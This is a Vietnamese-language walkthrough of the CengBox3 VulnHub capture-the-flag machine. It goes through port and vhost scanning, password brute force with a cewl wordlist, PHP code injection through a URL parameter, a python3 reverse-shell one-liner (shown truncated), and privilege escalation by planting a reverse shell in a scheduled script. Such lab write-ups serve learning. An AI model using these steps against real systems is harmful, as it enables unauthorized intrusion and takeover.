1. Mô tả
Goal : Get user and root flag
Difficulty : Intermediate / Hard
Description : Some of us hold on to poems, songs, movies, books. I guess people can't hold onto people anymore. -- Oguz Atay
You know what you have to do. If you get stuck, you can get in touch with me on Twitter. @arslanblcn_
This machine works properly on Virtualbox.
Happy hacking :)
2. Tải về:
- CengBox3.ova (Size: 925.MB)
- Download: https://drive.google.com/file/d/1WqQ8pnA6tUCyNHtmKV1_c8syot0Q05c2/
- Download (Mirror): https://download.vulnhub.com/cengbox/CengBox3.ova
- Download (Torrent): https://download.vulnhub.com/cengbox/CengBox3.ova.torrent
3. Khai thác
Bước 1: Dò quét thông tin
arp-scan ip_target
Thực hiện sử dụng lệnh nmap để thu thập thông tin các cổng dịch vụ đang mở
nmap -sC -sV ip_victim
Thu được các port 22,80,443 một domain là ceng-company.vm. Tạo một domain như vậy trong tệp tin /etc/hosts
Bước 2: Khai thác dịch vụ web
Truy cập vào website mình để ý thấy có đường link liên quan đến github và reddit
2 ông bà ERIC và ELIZABET có gì bí ẩn ở đây nhỉ, mình truy cập vào từn link đó
Một bộ mã nguồn code php và một trang mạng xã hội bình luận rên reddit với một đoạn văn bản
Mình tiến hành thử tìm kiếm các đường dẫn khác có thể truy cập bằng gobuster
gobuster dir -u http://ceng-company.vm/ -w /usr/share/directory-list-2.3-small.txt -x html,php,txt
Thu được đường đẫn khác như poem.txt ngoài ra không còn đường dẫn nào khác cả
Không có gì đặc biệt cả ngoài chữ Test1. Vậy ít thông tin quá mình thử khai thác tìm thêm các domain khác bằng gobuster
gobuster vhost -u http://ceng-company.vm/ -w seclistdns.txt
Đế ý ở đây sử dung gmail để login và mình nhớ trên trang github ở phầm mô tả có ghi gmail mẫu namelastname@ceng-company.vm mình thử elizabetsky@ceng-company.vm còn tại sao mình chọn vì trong số nhân vật ở đây chỉ có mình bà này là con gái nên có gì đặc biệt ở đây nên mình thử.
cewl https://www.reddit.com/user/ElizabethSky_ > password.txt
Sau đó mình sẽ thực hiện thử brute force
Kết quả thu được một mật khẩu là walnuttree
Mình tiến hành đăng nhập, vào thấy giao diện gồm các chức năng như ảnh, mình bấm và add poem thấy đây là một nơi điền thông tin comment gì đó mình thử điền nó xuất hiện thông báo bình luận của mình đã được đăng thành công.
Mình thấy một link gì đó mình bấm vào nó đưa mình sang một trang với nội dung mình ghi vừa rồi. Mình để ý đoạn mã ở url mình đem đi giải mã và phát hiện một điều thú vị
Với thông tin này là cho chúng ta thấy là việc khi ta viết bình luận nó sẽ tạo ra một tệp tin là poem.txt sau đó lưu lại /var/www/html. Dựa và thông tin này mình sử dụng Single Line PHP Script to Gain Shell | Graeme Robinson's blog (grobinson.me)
Mình sẽ lấy đoạn mã shell để khai thác thử điều khiển trên url xem sao. Mình mã hóa đoạn code này này và gửi lên hệ thống sau link ?data=
whoami
which python3
Nhận thấy là code shell inject của mình đã được thực thi mình chuyển sang bước 3
Bước 3: Chiếm quyền điều khiển
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip_target",4444))
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Mình tiến hành tải về thư mục /tmp một số tập tin khai thác kiểm tra leo thang như linpes.sh và pspy64
Mình chạy 2 tập tin đó kiểm tra phát hiện một tệp tin login.py tự động chạy theo lập lịch, và một công cụ tcpdump có thể sử dụng để chụp bắt gói tin
Sau đó mình thử vào đường dẫn chứa tệp tin login kiểm tra quyền thấy chỉ có user eric có quyền khai thác, mình chạy chụp bắt gói tin trong hệ thống máy chủ victim xem sao
sudo -l
Bước 4: Leo thang
Vào thư mục đó và đọc tệp tin này, mình chèn đoạn reverse shell để điều khiển kết nốt vào tệp tin đó.
Thành công leo thăng mình đọc lá cờ cuối 😅😅😅
0 Comments